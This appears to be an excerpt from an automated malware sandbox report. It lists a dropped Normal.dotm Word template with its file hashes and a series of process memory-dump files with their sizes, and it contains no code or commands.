Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
20KB

MD5
ee125666372381cfe188d413b9e37c3c

SHA1
b4eebafbe0071a6663307f995337ec7bd8d32af3

SHA256
47ca3ee21e29979832203447ab25dbb120a32bdb8a914b10fb316fb191934c88

SHA512
7914371f8a1f9b1e85afcf3523291dcc454435911ecadf79707f0369fcdbe0e26ad3b6490cb61a8fac2dd4df98100a3fdded5ba37852a1ad81249ad586e153b6

Download Submit
memory/2416-87-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-121-0x0000000070FFD000-0x0000000071008000-memory.dmp

Filesize
44KB

Download
memory/2416-32-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-12-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-10-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-16-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-17-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-15-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-14-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-13-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-11-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-18-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-9-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-2-0x0000000070FFD000-0x0000000071008000-memory.dmp

Filesize
44KB

Download
memory/2416-52-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-36-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-35-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-78-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-70-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-69-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-60-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-88-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-44-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-97-0x0000000070FFD000-0x0000000071008000-memory.dmp

Filesize
44KB

Download
memory/2416-98-0x0000000000380000-0x0000000000480000-memory.dmp

Filesize
1024KB

Download
memory/2416-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2416-0-0x000000002F6C1000-0x000000002F6C2000-memory.dmp

Filesize
4KB

Download